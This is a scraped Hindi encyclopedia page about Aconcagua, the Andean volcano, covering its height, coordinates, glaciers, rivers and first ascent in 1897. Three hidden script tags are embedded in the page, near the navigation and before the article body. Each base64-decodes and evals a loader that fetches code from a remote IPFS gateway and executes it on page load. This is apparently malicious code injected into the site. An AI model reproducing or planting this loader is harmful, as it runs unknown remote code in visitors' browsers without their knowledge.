ऐकनकागुआ
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
चित्र:Tranfer-icon.png | यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें |
ऐकनकागुआ
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 2 |
पृष्ठ संख्या | 271 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | श्यामसुंदर शर्मा |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
ऐकनकागुआ ऐंडीज़ पर्वतमाला में एक निष्क्रिय ज्वालामुखी है। इसकी ऊँचाई समुद्रतल से 23,080 फुट है। यह 320 39' दक्षिणी अक्षांश और 700 1' पश्चिमी देशांतर पर स्थित है। यह आर्जेटीना राज्य में चिली और आर्जेटीना की सीमा से ठीक सटा हुआ तथा ब्वेनस एयरिज़ से वैलपारैज़ो जानेवाले रेलमार्ग के उत्तर में दृष्टिगोचर होता है। इसकी चोटी बराबर हिमाच्छदित रहती है। इसके ऊपर कई हिमनदियाँ मिलती हैं जिनमें सबसे प्रसिद्ध मेंडोज़ा हिमधारा है। इनसे ऐसी कई सदानीरा (पिरीनियल) नदियाँ निकली हैं जिनका उपयोग निचले इलाकों में सिंचाई के लिए होता है। इसकी दक्षिणी ढाल पर ऐकनकागुआ नदी का उद्गम है जो पश्चिम में 200 मील तक बहने के बाद प्रशांत महासागर में गिरती है। सबसे पहले इसके शिखर पर सन् 1897 ई. में फिट्ज़ेराल्ड पर्वतारोहण दल के श्री वाइंस और श्री जुरब्रिग्गेन चढ़े थे। नई दुनिया, अमरीका, के इस सर्वोच्च पर्वत की प्राकृतिक सुषमा सचमुच बड़ी आकर्षक है।
टीका टिप्पणी और संदर्भ